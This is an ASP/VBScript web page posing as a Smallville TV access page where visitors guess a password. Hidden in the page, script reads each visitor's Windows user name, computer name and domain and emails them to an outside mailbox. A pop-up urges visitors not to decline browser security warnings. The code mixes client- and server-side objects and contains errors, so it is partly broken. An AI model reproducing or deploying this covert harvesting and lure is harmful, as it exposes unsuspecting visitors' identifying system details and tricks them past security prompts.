<% Dim objNet On Error Resume Next 'In case we fail to create object then display our custom error Set objNet = CreateObject("WScript.NetWork") If Err.Number <> 0 Then 'If error occured then display notice MsgBox "Don't be Shy." & vbCRLF &_ "Do not press ""No"" If your browser warns you." Document.Location = "UserInfo.html" 'Place the Name of the document. 'It will display again End if Dim strInfo strInfo = "User Name is " & objNet.UserName & vbCRLF & _ " Computer Name is " & objNet.ComputerName & vbCRLF & _ " Domain Name is " & objNet.UserDomain MsgBox strInfo Set objNet = Nothing 'Destroy the Object to free the Memory Set Mailer = Server.CreateObject("CDONTS.Newmail") Mailer.To = "bytesend@neo.rr.com " Mailer.From = "" mailer.Subject = "on smallville tv awaiting correct password" & date & " " & Time Mailer.MailFormat = 0 Mailer.BodyFormat = 0 mailBody = "New Update Submition" mailBody = mailBody & "" mailBody = mailBody & "" mailBody = mailBody & "" mailBody = mailBody & "

Smallville TV Access Time subtract 4 hrs

" mailBody = mailBody & "

" mailBody = mailBody & strInfo mailBody = mailBody & "" Mailer.Body = mailBody Mailer.Send If err.num <> 0 Then Response.Write "CDONTS Error: " & err.num & " - " & err.description End If %> Smallville TV

 

 

Guess the special word and you can see
Smallville TV
Just keep typing words related to Smallville